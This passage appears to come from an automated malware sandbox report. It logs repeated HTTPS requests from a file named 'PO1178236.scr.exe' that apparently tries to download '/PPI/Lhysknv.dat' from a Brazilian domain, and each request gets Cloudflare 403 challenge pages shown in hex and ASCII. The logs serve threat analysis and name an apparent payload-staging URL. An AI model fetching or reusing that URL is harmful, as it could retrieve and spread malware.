2025-01-09 07:28:32 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:32 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 30 62 38 63 61 39 63 34 33 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b60b8ca9c43b</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:32 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 30 62 38 63 61 39 63 34 33 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b60b8ca9c43b',t:'MTczNjQwNzcxMi4wMDAwMDA='};v
2025-01-09 07:28:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49750	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:33 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:33 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J2e8qJWrIg5Dr8JtyiR0%2FDTVvncMxjp5AvWMmVRg77GEokVwQRt9zrkq4OXVyn0wiwkqcTDWlEESIO1cGZerSW1qgz678aNo7hP%2B5wuywBT6R1Fv4Hn5NgCjwwezaaqp9goQFjI1NXEIBXOK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b60f7b568cc8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1942&rtt_var=734&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1483739&cwnd=237&unsent_bytes=0&cid=6aef0c83c8437f8a&ts=155&x=0"
2025-01-09 07:28:33 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 Data Ascii: highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 30 66 37 62 35 36 38 63 63 38 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 Data Ascii: t border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b60f7b568cc8</strong></span> <span class="cf-footer-separator sm:hidden">&b
2025-01-09 07:28:33 UTC	996	IN	Data Raw: 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 30 66 37 62 35 36 38 63 63 38 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 Data Ascii: ._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b60f7b568cc8',t:'MTczNjQwNzcxMy4wMDAwMDA='};var a=d
2025-01-09 07:28:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49751	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:33 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:33 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FUx50gK8C0iPPjpPIs2ey0mERjq1qpXLYzW5zxvWBbRzrNDGOnh33KPSDmr6p7hG1Z%2FJlcttNVXRu55xC9oa0v0lSn6zJc%2BD3cnw4g97JnKgBVy8oNWgZ7g%2Fn3OukV5z6madtWR9IN9NCdF6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6132d838c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1973&rtt_var=754&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1438423&cwnd=168&unsent_bytes=0&cid=b03271dce6dfbcfe&ts=131&x=0"
2025-01-09 07:28:33 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:33 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 31 33 32 64 38 33 38 63 36 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6132d838c6c</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:33 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 31 33 32 64 38 33 38 63 36 63 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4d 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6132d838c6c',t:'MTczNjQwNzcxMy4wMDAwMDA='};var a
2025-01-09 07:28:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49752	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:34 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:34 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1s7Jfjgz8VdjDkh4RvLFwWWpaTfjHRKpNXD46RH72IUGszAN3o2QVTUb8vQefl%2BYq6nh5XsTP0v2e6G4jV1O60Y5GM8qbrka7XV0pVmDeYx5YeqBKzsNt0QRKsF0QhxuApjSwqC137oWHBkJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b616dca15e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1638&rtt_var=614&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1782661&cwnd=249&unsent_bytes=0&cid=f912048195040386&ts=140&x=0"
2025-01-09 07:28:34 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:34 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:28:34 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:28:34 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 31 36 64 63 61 31 35 65 36 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 